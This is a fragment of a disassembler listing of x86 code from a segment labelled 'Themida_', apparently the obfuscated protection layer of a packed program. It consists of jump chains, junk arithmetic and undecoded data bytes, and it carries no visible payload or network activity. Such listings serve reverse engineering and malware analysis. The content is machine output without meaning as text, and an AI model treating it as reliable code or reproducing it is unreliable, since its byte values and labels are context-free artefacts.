		dd 81FFFEE5h, 4C1h, 100FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56FF86:				; CODE XREF: Themida_:00560940j
		dec	edi
		jmp	loc_56ECBF
; ---------------------------------------------------------------------------
		dd 0C681CE01h, 74ED1F07h, 2DB5EE81h, 20E97BB5h,	59FFFF0Fh
		dd 0CF87D1F7h, 42C78147h, 1797F7Fh, 1C335FFBh, 241C3124h
		dd 0FFB422E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FFB9:				; CODE XREF: Themida_:005638D9j
		mov	[esp], edx
		mov	dl, bh
		mov	ah, dl
		pop	edx
		pop	bx
		jmp	loc_562172
; ---------------------------------------------------------------------------
		dd 7E8068h, 7C4E900h, 0EDB9FFFFh, 81091E0Ch, 63FD2AC1h
		dd 0E9CF2114h, 0FFFF9E4Eh, 515DEA01h, 4A2B0FB9h, 0F10BE936h
		dd 2C31FFFEh, 242C3324h, 0FAC0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FFFE:				; CODE XREF: Themida_:0055E49Fj
		xor	ebp, 0D8BD2A8Ch
		add	eax, ebp
		pop	ebp
		push	6E2Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56DED5
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 2Dh
		dd 6A605337h, 58C6295Fh, 132D68h, 30F5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570032:				; CODE XREF: Themida_:0056891Dj
		add	ebx, 4
		push	ebp
		mov	ebp, 7F0178EDh
		or	ebp, 2B2B21E0h
		push	ecx
		jmp	loc_55E5A5
; ---------------------------------------------------------------------------
aRar		db '-ЮaR',0
		db 89h
		dd 0C82958C1h, 0FF72A3E9h, 1BFFFh, 0C1E90000h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570063:				; CODE XREF: Themida_:00568F39j
		mov	eax, 6C2A1693h
		push	edi
		mov	edi, eax
		mov	ecx, edi
		pop	edi
		pop	eax
		push	36D5h
		mov	[esp], ecx
		jmp	loc_5613C3
; ---------------------------------------------------------------------------

loc_57007C:				; CODE XREF: Themida_:005657CAj
		mov	al, cl
		pop	ecx
		dec	al
		jmp	loc_5696DB
; ---------------------------------------------------------------------------

loc_570086:				; CODE XREF: Themida_:0056C4E5j
		mov	edi, [esp]
		jmp	loc_561FEE
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E6895604h, 326E9h
		db 0
; ---------------------------------------------------------------------------

loc_570099:				; CODE XREF: Themida_:005624E3j
		mov	esp, [esp]
		jmp	loc_55F6C1
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 59h
		dd 0D1225619h, 0D7E681E6h, 0E9592720h, 0FFFF49FDh
; ---------------------------------------------------------------------------

loc_5700B4:				; CODE XREF: Themida_:0055F082j
		mov	edi, [esp]
		add	esp, 4
		or	ecx, 21E10A7Dh
		push	ebx
		jmp	loc_5706E3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aVha		db '$Vh²&',0
		dw 8100h
		dd 4ECh, 48F5400h, 0F17EE924h, 0C8BFFFFh, 9699E924h, 1C33FFFFh
		dd 241C3124h, 8B241C33h, 34E92424h, 8BFFFEEEh, 0B9512424h
		dd 280E7442h, 6859C829h, 1CEDh,	0E9240C89h, 0FFFEF4B4h
		dd 0C381E389h, 4, 2158E9h
		db 0
; ---------------------------------------------------------------------------

loc_570121:				; CODE XREF: Themida_:005637DBj
		sub	ebx, edi
		pop	edi
		sub	ebx, 2ED74D34h
		jmp	loc_561290
; ---------------------------------------------------------------------------
		db 89h
		dd 5BE9242Ch, 81FFFFFDh, 5E4FF2F3h, 5BDF015Dh, 3E42E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570146:				; CODE XREF: Themida_:0055E304j
		mov	esi, 4C5964A3h
		not	esi
		xor	esi, 0B3A69B58h
		jmp	loc_55DF40
; ---------------------------------------------------------------------------
		dd 0C380C328h, 0B1515871h, 0B6CAE9DBh, 0E780FFFFh, 748653EDh
		dd 0D6F60124h, 1247486h, 0FFA085E9h, 5FF829FFh,	0E92434FFh
		dd 0FFFFD357h, 0E92434FFh, 0FFFEEBD9h, 4EC8158h, 89000000h
		dd 74FF241Ch, 1C8B0424h, 4C48324h, 0FEDED4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5701A5:				; CODE XREF: Themida_:0056C048j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_568421
; ---------------------------------------------------------------------------

loc_5701B6:				; CODE XREF: Themida_:00567B72j
		or	esi, 253924BEh
		xor	esi, 8AC195CCh
		sub	edi, esi
		pop	esi
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_571A94
; ---------------------------------------------------------------------------
aISiqhJ		db '┬уS┬ОhЙJ',0
		align 2
		dw 1489h
		dd 88FE8824h, 1C8B5AF0h, 4C48324h, 0B5B25A59h, 48BC228h
		dd 0E6895624h, 4C681h, 0C6830000h, 0F38EE904h, 0D9F7FFFEh
		dd 0D4E98141h, 5B5F99Fh, 0EAE430Ch, 0C2DC801h, 590EAE43h
		dd 437C68h, 243C8900h, 8904EC83h, 0BB532404h, 4281209Bh
		dd 1C8BD889h, 4C48124h,	68000000h, 0
		dd 58240429h, 0E907E0C1h, 0FFFF5242h, 0E001E951h, 248BFFFEh
		dd 24343324h, 33243431h, 0E95C2434h, 0FFFFF170h, 0E8885053h
		dd 48BC788h, 4C48124h, 88000000h, 0EFE95BFAh
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_57027F:				; CODE XREF: Themida_:005723A7j
		mov	[esp], ebx
		mov	ebx, 7BC62CBh
		jmp	loc_5645C4
; ---------------------------------------------------------------------------

loc_57028C:				; CODE XREF: Themida_:00563A36j
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_569DB3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 26E9EA20h, 5FFFFA8h,	4, 0E904C083h, 0FFFF55B4h
; ---------------------------------------------------------------------------

loc_5702AC:				; CODE XREF: Themida_:0056EBE3j
		push	3536h
		jmp	loc_571876
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 0FFD0A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5702BD:				; CODE XREF: Themida_:0056A2CCj
		push	edx
		mov	edx, 0E255FE2h
		mov	esi, edx
		pop	edx
		add	esi, 5E04B6B1h
		push	ebp
		mov	ebp, 32004E7Ch
		xor	ebp, 7A7574D6h
		shr	ebp, 4
		add	ebp, 3147B983h
		add	ebx, ebp
		pop	ebp
		jmp	loc_5638F4
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 37EBE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5702F2:				; CODE XREF: Themida_:0056618Ej
		push	dword ptr [esp]
		pop	edi
		push	6430h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_56CE48
; ---------------------------------------------------------------------------
		db 89h
		dd 11FEE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570322:				; CODE XREF: Themida_:00561A2Bj
		add	eax, edx
		jmp	loc_56FA28
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0EAh
		dd 0E96A497Fh, 1E7h, 8B2434FFh,	0C4812404h, 4, 0FF53CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570345:				; CODE XREF: Themida_:0055FB5Cj
		xchg	edx, ebp
		shr	ebp, 8
		add	ebp, 1DCE3161h
		add	ebp, 0E1C7694Ch
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D88D
; ---------------------------------------------------------------------------

loc_570363:				; CODE XREF: Themida_:00562519j
		pop	esp
		jmp	loc_562A49
; ---------------------------------------------------------------------------

loc_570369:				; CODE XREF: Themida_:00571839j
		sub	ebp, 80020C7h
		sub	ecx, 438920C7h
		add	ecx, ebp
		add	ecx, 438920C7h
		mov	ebp, [esp]
		jmp	loc_56E5B6
; ---------------------------------------------------------------------------
		db 0BAh, 2 dup(0FFh)
		dd 0D729FFFFh, 0E9D7F75Ah, 0FFFF627Bh, 24048B66h, 278968h
		dd 24048900h, 0EC83E089h, 243C8904h, 0FEF41AE9h, 242489FFh
		dd 4BA52h, 54010000h, 7BE90424h, 81FFFF6Ch, 4C6h, 123FE900h
		dd 0E95FFFFFh, 0FFFF98F5h
; ---------------------------------------------------------------------------

loc_5703D0:				; CODE XREF: Themida_:0055EC57j
		add	ecx, ebx
		jmp	loc_56C8D5
; ---------------------------------------------------------------------------

loc_5703D7:				; CODE XREF: Themida_:0057219Fj
		mov	[esp], edx
		push	ecx
		jmp	loc_568AD4
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 4EF8300h, 0E9243C33h, 0FFFEEA5Fh, 6BE9E789h
		dd 89FFFF49h, 57FCE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570402:				; CODE XREF: Themida_:0055FC7Dj
		push	esi
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 51965F9Fh
		shl	ecx, 4
		jmp	loc_565EDE
; ---------------------------------------------------------------------------
		dd 3066E681h, 87462407h, 31D7F7FEh, 31F731FEh, 3AE681FEh
		dd 81286C21h, 6C211CF6h, 5EF32908h, 4EC81h, 1C890000h
		dd 2474FF24h, 2434FF04h, 0DE9555Bh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57045B:				; CODE XREF: Themida_:00568089j
		push	4518h
		mov	[esp], edi
		mov	edi, esi
		jmp	loc_56977C
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 1EDA65BBh, 9BE9D3F7h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570477:				; CODE XREF: Themida_:005664E7j
		add	ebp, eax
		sub	ebp, 644F4DC8h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56BB18
; ---------------------------------------------------------------------------

loc_570488:				; CODE XREF: Themida_:00565DAEj
		not	ecx
		jmp	loc_56164F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 6CD14465h, 0FF4CFAE9h, 240487FFh, 0FFC404E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5704A1:				; CODE XREF: Themida_:0056F38Aj
		push	esi
		push	edi
		jmp	loc_5629A4
; ---------------------------------------------------------------------------
		dd 0FED3C0E9h, 4C483FFh, 375968h, 24348900h, 0A07B951h
		dd 0C9814848h, 3D817EAEh, 855E941h, 0DA310000h,	83241C8Bh
		dd 684A04C4h, 3188h, 0BD242C89h, 1, 2D76E950h, 34FFFFFFh
		dd 24048B24h, 8104C483h, 4C4h, 2DD1E900h, 0E95FFFFFh, 0FFFEFBD8h
; ---------------------------------------------------------------------------

loc_570500:				; CODE XREF: Themida_:005643B7j
		push	ecx
		mov	ecx, 3FCA6906h
		push	ecx
		push	ebp
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5648C6
; ---------------------------------------------------------------------------
		db 52h
		dd 1AD0E9h
		db 0
; ---------------------------------------------------------------------------

loc_570521:				; CODE XREF: Themida_:00564861j
		shl	eax, 7
		and	eax, 4CF03AA3h
		jmp	loc_55E1BE
; ---------------------------------------------------------------------------
		dw 4048h
		dd 3B6EE956h, 0EC81FFFFh, 4, 54241489h,	4C2815Ah, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 8904EC83h, 2C8B2404h, 4C48324h
		dd 0FFF32CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570565:				; CODE XREF: Themida_:005694CEj
		neg	ebp
		inc	ebp
		not	ebp
		push	eax
		mov	eax, 2AB61BE8h
		and	ebp, eax
		pop	eax
		push	esi
		mov	esi, 2523639Fh
		sub	esi, 3E4A413Fh
		shl	esi, 3
		or	esi, 55F418DDh
		push	ebx
		mov	ebx, 0DF6A2FFEh
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, esi
		pop	esi
		add	eax, ebp
		pop	ebp
		sub	eax, 73930376h
		sub	eax, 384B0613h
		add	eax, ebx
		add	eax, 384B0613h
		add	eax, 73930376h
		sub	eax, 6FFD1C21h
		pop	ebx
		add	eax, 18921499h
		jmp	loc_5616DF
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0E8830000h, 24048704h, 240C895Ch, 0BB535954h
		dd 5E739C9h, 39C5EB81h,	0E98105E7h, 602466FEh, 90E9D901h
		dd 81FFFFD2h, 8C5072C3h, 81D30118h, 8C5072EBh, 24148B18h
		dd 485BE956h, 802DFFFFh, 0E9999C84h, 0FFFFA4F8h, 4C681h
		dd 3DE90000h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57061B:				; CODE XREF: Themida_:0055DC43j
		push	dword ptr [esp+4]
		jmp	loc_55DB19
; ---------------------------------------------------------------------------

loc_570624:				; CODE XREF: Themida_:0055E5C1j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	6840h
		mov	[esp], eax
		push	709Ah
		mov	[esp], esp
		push	ecx
		jmp	loc_56B280
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 1B9515Dh, 0E9000000h, 1567h,	2E6068ACh, 0C890000h, 5373B524h
		dd 0E96CB252h, 0FFFFC104h, 4EF81h, 45680000h, 89000024h
		dd 7CE9243Ch, 87FFFED4h, 685C243Ch, 0E08h, 0FF982DE9h
		dd 241C8BFFh, 4C481h, 0B9510000h, 5BA729E8h, 8244C29h
		dd 0FE7DE959h, 0C481FFFEh, 4, 806CE280h, 0D000E3F2h, 2434FF5Ah
		dd 5A2434FFh, 53E28952h, 4BBh, 5BDA0100h, 8704C283h, 0B6E92414h
		dd 0ACFFFFBCh, 0FF719BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5706D9:				; CODE XREF: Themida_:0055FD1Cj
		shr	bh, 2
		neg	bh
		jmp	loc_56E9BE
; ---------------------------------------------------------------------------

loc_5706E3:				; CODE XREF: Themida_:005700C4j
		mov	ebx, 4F0C343Fh
		push	edx
		mov	edx, 38C76015h
		and	edx, 5A201210h
		not	edx
		not	edx
		jmp	loc_56F9F0
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0C1FE0000h, 6A8668h,	24048900h, 7EE9A9B0h, 5EFFFEFBh
		dd 24348151h, 3470788Dh, 81242C8Bh, 4C4h, 8DF58100h, 59347078h
		dd 34FFE801h, 242C8B24h, 5104C483h, 0C181E189h,	4, 4BF57h
		dd 0F9010000h, 240C875Fh, 2C0835Ch, 31240433h, 4332404h
		dd 24248B24h, 24048B66h, 8904EC83h, 8B542434h, 89572434h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 0E2AFE95Ch, 0E931FFFFh
		dd 1403685Dh, 0C890000h, 9C5B924h, 0C8292605h, 0FF4BB0E9h
		dd 4A8205FFh, 0F00157E6h, 0E64A822Dh, 24348B57h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 555C241Ch, 0FFDD35E9h, 243487FFh
		dd 2404895Ch, 1C66B951h, 0E9557503h, 0FFFF7197h
; ---------------------------------------------------------------------------

loc_5707D8:				; CODE XREF: Themida_:0056432Cj
		pop	esi
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		jmp	loc_56EB3D
; ---------------------------------------------------------------------------
		db 81h
		dd 723B38E9h, 0BEE9817Bh, 1246958h, 0EC83E9C1h,	74FFFFFFh
		dd 48B0424h, 0DA685724h, 89000040h, 0FDE92424h,	57FFFED6h
		dd 83242C8Bh, 656804C4h, 89000036h, 0E958242Ch,	0FFFFDC9Fh
; ---------------------------------------------------------------------------

loc_570820:				; CODE XREF: Themida_:00563AD8j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_561E32
; ---------------------------------------------------------------------------

loc_570835:				; CODE XREF: Themida_:0056E73Fj
		push	esi
		push	edx
		push	esi
		mov	esi, 5F1B4206h
		mov	edx, esi
		pop	esi
		mov	esi, edx
		jmp	loc_55F244
; ---------------------------------------------------------------------------
		db 1
		dd 3FE959CFh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57084F:				; CODE XREF: Themida_:00572568j
		xor	ecx, [esp]
		pop	esp
		push	421Ch
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, 7F896A62h
		add	ebp, eax
		add	ebp, 7F896A62h
		pop	eax
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_56C0C3
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4F09291Fh, 0FF0F72E9h, 0C8B66FFh, 7AF36824h,	4890000h
		dd 5585424h, 4,	0C9B6E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5708AE:				; CODE XREF: Themida_:00571090j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5652E6
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 8704C683h, 87E92434h,	0C1FFFFF9h, 0EC8107E6h
		dd 4, 0E9241C89h, 0FFFEF725h, 4579DFBDh, 246C2914h, 23E95D04h
		dd 5FFFF6Ch, 0C777BC5h,	0E953D829h, 0FFFF5868h,	5C241C87h
		dd 0DB90EA81h, 0E72DFE45h, 17A8C46h, 46E705D0h,	0E95A7A8Ch
		dd 0FFFF6969h, 0CCFEAAB4h, 80EBC480h, 0C480B6F4h, 0E9E508DAh
		dd 0FFFF252Eh, 0E95255ADh, 0FFFED70Ah, 0AEE9D000h, 0D1FFFF62h
		dd 3BDCE9E2h, 0BD55FFFFh, 4, 4E5FC281h,	0EA0135E9h, 4E5FEA81h
		dd 75E935E9h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_57095B:				; CODE XREF: Themida_:0056E17Cj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_563220
; ---------------------------------------------------------------------------

loc_57096A:				; CODE XREF: Themida_:0056DE7Cj
		pop	edx
		push	ebx
		jmp	loc_56CD92
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 47h
		dd 5059FD04h, 196B3BB8h, 0C1D0F73Fh, 0E0C103E0h, 789A0503h
		dd 51356BBFh, 5642E22h,	0B694AAD0h, 77E9C101h, 8BFFFF23h
		dd 5568240Ch, 8900005Ah, 42E92434h, 54FFFEE1h, 6C03E95Bh
		dd 0ED81FFFFh, 53233761h, 0E92434FFh, 0FFFEF625h
; ---------------------------------------------------------------------------

loc_5709C0:				; CODE XREF: Themida_:005622ADj
		mov	[esp], ecx
		push	bx
		mov	bh, 0Fh
		xor	bh, 7
		dec	bh
		sub	bh, 1
		or	bh, 0B7h
		shl	bh, 8
		sub	esp, 4
		jmp	loc_56951B
; ---------------------------------------------------------------------------
		dd 0B7CE958h, 8B66FFFFh, 81562404h, 4ECh, 242C8900h, 242C8B54h
		dd 4C481h, 0B8500000h, 4, 0FFDBC2E9h, 2424D2FFh, 0CE5BE99Ch
		dd 0F201FFFEh, 3D8EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570A1A:				; CODE XREF: Themida_:0056B125j
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_561E9A
; ---------------------------------------------------------------------------
		db 2Ch
		dd 48E9516Bh, 81FFFF49h, 0ACB3FCEFh, 815755C5h,	348F2434h
		dd 13E921B6h, 5FFFF20h,	4B8E5C09h, 0E952D801h, 0FFFF337Bh
		dd 0DFB45066h, 28C4C380h, 0C4EB80E3h, 0DD885866h, 4EDC05Bh
		dd 0FF3953E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570A69:				; CODE XREF: Themida_:0056727Cj
		add	esp, 4
		pop	esi
		add	ebx, eax
		push	ecx
		mov	ecx, 6EFE6608h
		add	ebx, ecx
		pop	ecx
		push	1896h
		mov	[esp], ebx
		mov	ebx, 1E0129A5h
		shl	ebx, 4
		push	esi
		jmp	loc_56BC2E
; ---------------------------------------------------------------------------
		dw 18B9h
		dd 0E966C219h, 0FFFF6D19h, 4EC815Ah, 89000000h,	0E189240Ch
		dd 4C181h, 0C1830000h, 362A6804h, 0D9E90000h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_570AB7:				; CODE XREF: Themida_:0056506Ej
		mov	cl, 16h
		push	ebx
		mov	bh, 0EEh
		mov	dl, bh
		pop	ebx
		sub	dl, 0A6h
		add	dl, 0Fh
		add	dl, 27h
		sub	dl, cl
		push	ecx
		mov	cl, 71h
		neg	cl
		dec	cl
		jmp	loc_5713EC
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 3A5EE95Dh, 0E9F7FFFFh, 463968h, 24148900h, 3E99C50h
		dd 56FFFED4h, 167385BEh, 94C0E95Ch, 0C8BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFF3F14h, 0B07DE951h, 0C87FFFFh, 4875C24h
		dd 5DB6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570B1A:				; CODE XREF: Themida_:00571FE6j
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5664DC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHnk		db '$h╜k',0
		align 2
aIHo		db '┴,$hO',1Bh,0
		align 2
		dw 2489h
		dd 24048124h, 4, 8B2434FFh, 0C481242Ch,	4, 1BD068h, 243C8900h
		dd 0FF3058E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570B5D:				; CODE XREF: Themida_:00569BB0j
		mov	[esp], ebp
		jmp	loc_57204E
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 5Ah
		dd 6CD814Dh, 0C12E0243h, 0DDF708E5h, 0F783C581h, 0E8019D21h
		dd 0FEE770E9h, 0C73059FFh, 78B65258h, 805AF730h, 0E7C027E7h
		dd 4DEF8003h, 0FEE8E2E9h, 8BC329FFh, 0C4832404h, 74FF5304h
		dd 8F5B0424h, 895C2404h, 148B2404h, 4C48324h, 0FECCB4E9h
		dd 59BD55FFh, 567E457Ah, 7853DEBEh, 0C1EE8104h,	81219844h
		dd 500931EEh, 30CE8117h, 0F74BFA7Ch, 0DB1DE9D6h, 0EC83FFFFh
		dd 242C8904h, 42474FFh,	81242C8Bh, 4C4h, 1490E900h, 48FFFFFh
		dd 24048324h, 240C8B04h, 0E9E68956h, 0FFFED60Ah, 0E924248Bh
		dd 0FFFFC7FDh
; ---------------------------------------------------------------------------

loc_570C10:				; CODE XREF: Themida_:0056BA74j
		pop	ebp
		and	eax, esi
		pop	esi
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_57197F
; ---------------------------------------------------------------------------

loc_570C2D:				; CODE XREF: Themida_:0056F900j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5699A2
; ---------------------------------------------------------------------------
		dd 8246C29h, 8246C81h, 5E620580h, 2444815Dh, 9F474004h
		dd 246C8136h, 4A5C5004h, 2454292Eh, 24448104h, 4A5C5004h
		dd 0F681E92Eh, 2468FFFEh, 0E900004Eh, 0FFFF0AFFh, 24048B66h
		dd 8904EC83h, 9DE92404h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570C83:				; CODE XREF: Themida_:0056DD3Cj
		add	esp, 4
		add	ebx, 44E21A2Bh
		add	ebx, edi
		sub	ebx, 44E21A2Bh
		pop	edi
		push	ecx
		mov	ecx, 59E457F1h
		add	ecx, 7FE87200h
		shl	ecx, 1
		sub	ecx, 339A3EF3h
		sub	ebp, 15A1545Ch
		sub	ebp, ecx
		add	ebp, 15A1545Ch
		jmp	loc_569058
; ---------------------------------------------------------------------------
		db 81h
		dd 3E3DC0F7h, 2EC78178h, 506C44B5h, 0FEDA2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570CD1:				; CODE XREF: Themida_:005688F9j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		push	esi
		mov	esi, 43102B81h
		xor	esi, 6D2249D7h
		push	edi
		mov	edi, 7848436Bh
		and	edi, 3D1B4C28h
		sub	edi, 663AA27Ah
		add	esi, edi
		pop	edi
		mov	eax, esi
		pop	esi
		add	ebp, eax
		jmp	loc_562F8D
; ---------------------------------------------------------------------------

loc_570D06:				; CODE XREF: Themida_:0056F9FEj
		push	esi
		mov	esi, 0FFFFFFFFh
		add	edx, 59660773h
		add	edx, esi
		sub	edx, 59660773h
		jmp	loc_566B0A
; ---------------------------------------------------------------------------
		db 83h
		dd 0BD55FFC1h, 4E857B26h, 724EED81h, 0CD814DE3h, 6BDD2D9Fh
		dd 131BE9h, 56466800h, 3C890000h, 2474FF24h, 71E95F04h
		dd 81FFFFE0h, 4C6h, 0F8BAE900h,	6856FFFFh, 7FB4h, 0B9240C89h
		dd 22DC6A6Ch, 159CE89h,	72E95EF3h, 8900000Fh, 0E0892404h
		dd 0D25BE952h, 3C89FFFEh, 815F5424h, 4C7h, 0EC835000h
		dd 8FE2E904h, 0B551FFFFh, 0E9EC88C3h, 0FFFFE3CCh
; ---------------------------------------------------------------------------

loc_570D98:				; CODE XREF: Themida_:00567D46j
		add	ecx, edi
		mov	[ecx], ebx
		jmp	loc_55FA3E
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 6
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570DA7:				; CODE XREF: Themida_:00569CADj
		mov	edi, 56A3051h
		shr	edi, 3
		sub	edi, 4F941DB6h
		sub	esi, 1C454555h
		sub	esi, edi
		add	esi, 1C454555h
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		jmp	loc_571020
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2C281h, 14870000h, 77E95C24h, 42FFFEEEh, 6ABE564Ah
		dd 1B871C0h, 343FE9F2h,	575FFFFFh, 44E9E789h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570E03:				; CODE XREF: Themida_:0056A2A5j
		mov	ecx, 554D1A38h
		mov	edi, ecx
		pop	ecx
		push	ebp
		push	56E06F81h
		pop	ebp
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_561AFB
; ---------------------------------------------------------------------------
		dd 88A2F480h, 0C58058E5h, 0E9EE00EEh, 167Ah, 5034CEBFh
		dd 5FFA013Bh, 0FFF7A6E9h, 7CF781FFh, 89786931h,	53E95FF8h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_570E57:				; CODE XREF: Themida_:0056A49Ej
		push	ebx
		push	2B532C1Eh
		pop	ebx
		not	ebx
		add	ebx, 40005Ch
		and	ebx, 68552912h
		xor	ebx, 0DF5C3A75h
		jmp	loc_565938
; ---------------------------------------------------------------------------
		db 55h
		dd 3251E1BDh, 5DEF3118h, 7DC068h, 242C8900h, 1BDh, 5DEF0100h
		dd 0FEDA8FE9h, 34F781FFh, 531F7F5Ah, 0FF50B7E9h, 499A68FFh
		dd 3BE90000h, 8FFFFF0Fh, 248B2404h, 6C67E924h, 0C89FFFFh
		dd 427F6824h, 4890000h,	25876824h, 0C1585C2Bh, 44E907E8h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2D164227h
		jmp	loc_55FA31
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3FE9240Ch, 81FFFFD0h, 3E1875F6h, 0A1C68162h,	0E9D7B99Ah
		dd 0FFFF3122h, 0C581E589h, 4, 8704C583h, 248B242Ch, 4C48124h
		dd 1000000h, 0C4EE81C6h, 8107CC08h, 1E47A1C6h, 0FA90E90Bh
		dd 0FF68FFFEh, 89000067h, 3B82404h, 357CB311h, 7CB31107h
		dd 279CBE56h, 0F12927BDh, 0FF46A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_570F45:				; CODE XREF: Themida_:0056BED1j
		push	ebp
		mov	ebp, 2D67552Bh
		add	ebp, 252404E7h
		add	eax, ebp
		jmp	loc_56D18D
; ---------------------------------------------------------------------------
		dd 0E95BF830h, 0FFFFAF35h
; ---------------------------------------------------------------------------

loc_570F60:				; CODE XREF: Themida_:0056B65Ej
		add	esp, 4
		jmp	loc_56BFAC
; ---------------------------------------------------------------------------
		db 50h
		dd 0D17282B8h, 58C12141h, 0A6C18149h, 81082960h, 0E09977C1h
		dd 59CF0944h, 6301E781h, 0C7810E20h, 17044DDh, 0FF5F97E9h
		dd 4C183FFh, 8B240C87h,	0C332424h, 240C3124h, 8B240C33h
		dd 0F7662424h, 0E562E9F1h, 0DF89FFFFh, 0E9F8895Bh, 0FFFFEE6Bh
		dd 0BE243489h, 553C0A97h, 53F768h, 241C8900h, 460AC768h
		dd 241C8B17h, 0FF4BE5E9h, 113EBDFFh, 0BD554CE3h, 6F8547ADh
